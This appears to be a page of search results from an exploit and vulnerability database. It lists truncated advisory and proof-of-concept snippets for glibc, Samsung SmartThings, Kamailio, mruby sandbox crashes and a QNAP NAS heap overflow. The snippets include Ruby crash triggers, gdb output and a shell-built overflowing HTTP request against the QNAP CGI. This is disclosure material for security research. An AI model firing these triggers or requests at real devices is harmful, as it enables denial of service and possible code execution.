246 matches found
SUSE SLES12 Security Update : glibc (SUSE-SU-2020:0832-1)
This update for glibc fixes the following issues : CVE-2020-1752: Fixed a use after free in glob which could have allowed a local attacker to create a specially crafted path that, when processed by the glob function, could potentially have led to arbitrary code execution bsc1167631. CVE-2020-1751...
Dwarf - Full Featured Multi Arch/Os Debugger Built On Top Of PyQt5 And Frida
A debugger for reverse engineers, crackers and security analyst. Or you can call it damn, why are raspberries so fluffy or yet, duck warriors are rich as fuck. Whatever you like! Built on top of pyqt5, frida and some terrible code. Checkout the website for features, api and examples CHANGELOG...
CVE-2018-3927
An exploitable information disclosure vulnerability exists in the crash handler of the hubCore binary of the Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17. When hubCore crashes, Google Breakpad is used to record minidumps, which are sent over an insecure HTTPS connection to the...
Samsung SmartThings Hub hubCore Information Disclosure Vulnerability
Samsung SmartThings Hub is a smart home management device from Samsung South Korea. A security vulnerability exists in the crash handler of the hubCore binary in Samsung SmartThings Hub, which originates from a program that sends logged minidumps to the backtrace.io service over an insecure HTTPS...
Kamailio 5.1.1 / 5.1.0 / 5.0.0 - Off-by-One Heap Overflow Exploit
Exploit for linux platform in category dos / poc ''' Off-by-one heap overflow in Kamailio - Authors: - Alfred Farrugia - Sandro Gauci - Fixed versions: Kamailio v5.1.2, v5.0.6 and v4.4.7 - References: no CVE assigned yet - Enable Security Advisory: - Tested vulnerable versions: 5.1.1, 5.1.0, 5.0....
Kamailio 5.1.1 / 5.1.0 / 5.0.0 - Off-by-One Heap Overflow
''' Off-by-one heap overflow in Kamailio - Authors: - Alfred Farrugia - Sandro Gauci - Fixed versions: Kamailio v5.1.2, v5.0.6 and v4.4.7 - References: no CVE assigned yet - Enable Security Advisory: - Tested vulnerable versions: 5.1.1, 5.1.0, 5.0.0 - Timeline: - Report date: 2018-02-10 - Kamaili...
shopify-scripts: SIGSEGV in mrb_vm_exec
PoC ------------------- The following code triggers the bug attached as testmrbvmexec.rb: def methodmissingmeth,argsyieldmeth,argsend enumfor.next Debug - mirb ------------------- x@x:/Desktop/test/mruby/bin$ gdb -q ./mirb rReading symbols from ./mirb...done. gdb r testmrbvmexec.rb Starting...
shopify-scripts: SIGSEGV in mrb_str_inum
PoC ------------------- The following code triggers the bug attached as testmrbstrinum.rb: def methodmissingfalse end def tostr""end Integerÿ,2.h Debug - mirb ------------------- x@x:/Desktop/test/mruby/bin$ gdb -q ./mirb r Reading symbols from ./mirb...idone. gdb r testmrbstrinum.rb Starting...
shopify-scripts: SIGABRT in mrb_debug_info_append_file
PoC ------------------- The following code triggers the bug attached as testmrbdebuginfoappendfile.rb: i""do"".+end mirb ------------------- x@x:/Desktop/test/mruby/bin$ ./mirb testmrbdebuginfoappendfile.rb mirb - Embeddable Interactive Ruby Shell mirb: /home/x/Desktop/test/mruby/src/debug.c:136:...
shopify-scripts: SIGSEGV in mrb_class
PoC ------------------- Attached as testmrbclass.rb: Debug - mirb ------------------- Program received signal SIGSEGV, Segmentation fault. 0x0000000000402ef2 in mrbclass mrb=0x6b0010, v=... at /home/x/Desktop/test/mruby/include/mruby/class.h:50 50 return mrbobjptrv-c; gdb l 45 case MRBTTCPTR: 46...
shopify-scripts: SIGABRT - mirb - Double Free
PoC ------------------- Attached as test.rb Debug - mirb ------------------- x@x:/Desktop/test/mruby/bin$ gdb -q ./mirb r Reading symbols from ./mirb...done. gdb r test.rb Starting program: /home/x/Desktop/test/mruby/bin/mirb test.rb mirb - Embeddable Interactive Ruby Shell NoMethodError: undefin...
shopify-scripts: SIGABRT - mirb and mruby
PoC ------------------- The following code triggers the bug attached as test.rb: def methodmissingm,e self.ff||=00end e Debug - mirb ------------------- x@x:/Desktop/test/mruby/bin$ gdb -q ./mirb Reading symbols from ./mirb...done. gdb r test.rb Starting program: /home/x/Desktop/test/mruby/bin/mi...
shopify-scripts: SIGSEGV - mrb_obj_value
Linux Ubuntu Xenial 64 commit f8b31a0db671b71d2794ce866b87596a09c10bf0 Author: Yukihiro "Matz" Matsumoto Date: Wed Mar 15 09:00:03 2017 +0900 output RAX: 0x0 RBX: 0x6c4e80 -- 0x1 RCX: 0x6c4e50 -- 0x6b4320 -- 0x112 RDX: 0xf222f69400000003 RSI: 0x6b4320 -- 0x112 RDI: 0x0 RBP: 0x7fffffffdb10 --...
shopify-scripts: SIGSEGV - mark_context_stack
PoC ------------------- The following code triggers the bug attached as testmarkcontextstack.rb: def one tooyieldend def too yield ensure onebreakend one Debug - mirb ------------------- Starting program: /home/x/Desktop/test/mruby/bin/mirb testmarkcontextstack mirb - Embeddable Interactive Ruby...
shopify-scripts: Memory corrouption in mrb_gc_mark
The memory corruption in mrbgcmark function can lead to code execution or at least DoS on mruby. PoC attached. Crash debug mr@minhrau $ ./mrubylatest/mruby/build/bench/bin/mruby ./mruby/fuzz03/crashes/mrbgcmark.rb Reading symbols from ./mrubylatest/mruby/build/bench/bin/mruby...done. gdb r...
shopify-scripts: Segmentation fault while printing backtrace
The code below crashes the sandbox/mruby as it tries to print the backtrace. Incidentally, it does not crash mirb. def foon return '' if n \n' ensure % if:n != if n == -1110 else foon-1.% end end %foo0 We are still examining the bug and hope to produce a detailed analysis and a fix this week...
shopify-scripts: SIGSEGV - vm.c - line:1214
PoC ------------------- The following code triggers the bug attached as testmrbvmexec1214.rb: def test instanceexec do return toenum:==end ensure end test Debug - mirb ------------------- gdb r testmrbvmexec1214.rb Starting program: /home/x/Desktop/research/3fuzz/mruby/bin/mirb testmrbvmexec1214....
shopify-scripts: Crash in print_backtrace
This crash does not affect mruby-engine because it does not print the back trace in guest. We can control the register by setting a backtrace array. PoC ruby exc = Exception.new exc.setbacktrace0x41414141 raise exc GDB $ gdb -q --args ./bin/mruby test12.rb Reading symbols from ./bin/mruby...done...
shopify-scripts: SIGSEGV - mrb_obj_extend - line:413
PoC: ------------------- The following code triggers the bug attached as testmrbobjextend413.rb: module Test end def methodmissingsextendTestend def setva.set0end set0 Mirb - Debug: ------------------- gdb r testmrbobjextend413.rb The program being debugged has been started already. Start it from...
QNAP NAS Devices - Heap Overflow Exploit
Exploit for linux platform in category dos / poc ================== 1 Heap overflow ================== Path: /home/httpd/cgi-bin/cgi.cgi u = valid user guest|admin 1.1 / Remote / Remote host echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=fori=0;i263;i++;do echo -en "A";done HTTP/1.0\nHost: QNAP\n\n" |...